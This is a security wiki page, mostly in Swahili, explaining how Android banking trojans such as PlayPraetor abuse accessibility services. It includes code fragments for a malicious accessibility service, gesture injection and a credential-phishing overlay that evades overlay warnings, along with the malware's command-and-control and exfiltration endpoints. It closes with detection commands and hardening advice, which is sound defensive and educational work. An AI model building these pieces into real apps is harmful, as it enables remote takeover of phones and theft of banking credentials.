Android Accessibility Service Abuse
Reading time: 6 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Overview
AccessibilityService
iliumbwa kusaidia watumiaji wenye ulemavu kuingiliana na vifaa vya Android. Kwa bahati mbaya, APIs hizi za automatisering yenye nguvu (urambazaji wa kimataifa, uandishi wa maandiko, usambazaji wa ishara, madirisha ya overlay…) zinaweza kutumika na malware kupata udhibiti kamili wa mbali wa simu bila ruhusa za root.
Trojan za benki za kisasa za Android na Trojan za Upatikanaji wa Mbali (RATs) kama PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda na wengine wengi wanafuata mapishi sawa:
- Mtu wa kijamii amshawishi mwathirika kuwezesha huduma ya upatikanaji isiyo halali (ruhusa ya BIND_ACCESSIBILITY_SERVICE inachukuliwa kuwa "hatari kubwa" na inahitaji hatua wazi kutoka kwa mtumiaji).
- Tumia huduma hiyo ili
- kukamata kila tukio la UI na maandiko yanayoonekana kwenye skrini,
- kuingiza ishara za bandia (
dispatchGesture
) na vitendo vya kimataifa (performGlobalAction
) ili automatishe kazi yoyote anayotaka opereta, - kuchora overlays za skrini nzima juu ya programu halali kwa kutumia aina ya dirisha TYPE_ACCESSIBILITY_OVERLAY (hakuna onyo la
SYSTEM_ALERT_WINDOW
!), - kimya kimya kutoa ruhusa za ziada za wakati wa kukimbia kwa kubofya kwenye mazungumzo ya mfumo kwa niaba ya mwathirika.
- Kutolea data au kufanya On-Device-Fraud (ODF) kwa wakati halisi wakati mtumiaji anatazama skrini ambayo ni ya kawaida kabisa.
Requesting the permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
XML ya mshirika inaelezea jinsi mazungumzo ya uwongo yatakavyokuwa:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Msingi wa automatisering ya UI ya mbali
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Kwa kutumia APIs hizi mbili tu, mshambuliaji anaweza:
- Kufungua skrini, kufungua programu ya benki, kuhamasisha mti wa UI wake na kuwasilisha fomu ya uhamisho.
- Kukubali kila sanduku la ruhusa linalojitokeza.
- Kuweka/update APK za ziada kupitia dhamira ya Play Store.
Mifumo ya Unyanyasaji
1. Ulaghai wa Overlay (Kukusanya Taarifa za Utambulisho)
WebView
ya uwazi au isiyo ya uwazi inaongezwa kwenye meneja wa dirisha:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
Mtu waathirika anaandika taarifa za kuingia kwenye fomu ya uwongo wakati programu ya nyuma inapokea ishara hizo hizo – hakuna onyo la "draw over other apps" linaloonekana.
Mfano wa kina: sehemu ya Accessibility Overlay Phishing ndani ya ukurasa wa Tapjacking.
2. Uhalifu wa Otomatiki kwenye Kifaa
Familia za malware kama PlayPraetor zinaweka channel ya WebSocket inayodumu ambapo opereta anaweza kutoa amri za kiwango cha juu (init
, update
, alert_arr
, report_list
, …). Huduma hiyo inatafsiri amri hizo kuwa ishara za kiwango cha chini hapo juu, ikifanikisha shughuli zisizoidhinishwa za wakati halisi ambazo kwa urahisi hupita uthibitishaji wa hatua nyingi uliofungwa kwa kifaa hicho.
3. Utiririshaji wa Skrini & Ufuatiliaji
Kwa kuunganisha MediaProjection API na maktaba ya mteja wa RTMP, RAT inaweza kutangaza framebuffer ya moja kwa moja kwa rtmp://<c2>:1935/live/<device_id>
, ikimpa mpinzani ufahamu kamili wa hali wakati injini ya Accessibility inasababisha UI.
PlayPraetor – mtiririko wa amri & udhibiti
- HTTP(S) heartbeat – piga duru kwenye orodha iliyoandikwa kwa mkono hadi kikoa kimoja kijibu
POST /app/searchPackageName
na C2 inayofanya kazi. - WebSocket (bandari 8282) – amri za JSON za pande mbili:
update
– peleka mipangilio mipya/APKsalert_arr
– tengeneza templeti za overlayreport_list
– tuma orodha ya majina ya pakiti yaliyolengwaheartbeat_web
– keep-alive
- RTMP (bandari 1935) – utiririshaji wa skrini/video wa moja kwa moja.
- REST exfiltration –
/app/saveDevice
(alama ya kidole)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(taarifa za benki)
AccessibilityService ni injini ya ndani inayogeuza amri hizo za wingu kuwa mwingiliano wa kimwili.
Kugundua huduma za upatikanaji zenye uharibifu
adb shell settings get secure enabled_accessibility_services
- Mipangilio → Upatikanaji → Huduma zilizopakuliwa – angalia programu ambazo sio kutoka Google Play.
- Mifumo ya MDM / EMM inaweza kutekeleza
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) kuzuia huduma zilizopakuliwa. - Changanua huduma zinazofanya kazi:
adb shell dumpsys accessibility | grep "Accessibility Service"
Mapendekezo ya kuimarisha kwa waendelezaji wa programu
- Alama maoni nyeti kwa
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Changanya
setFilterTouchesWhenObscured(true)
naFLAG_SECURE
ili kuzuia utekaji wa tap/overlay. - Gundua overlays kwa kupiga kura
WindowManager.getDefaultDisplay().getFlags()
au API yaViewRootImpl
. - Kata kufanya kazi wakati
Settings.canDrawOverlays()
au huduma ya Upatikanaji isiyoaminika inafanya kazi.
Marejeleo
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.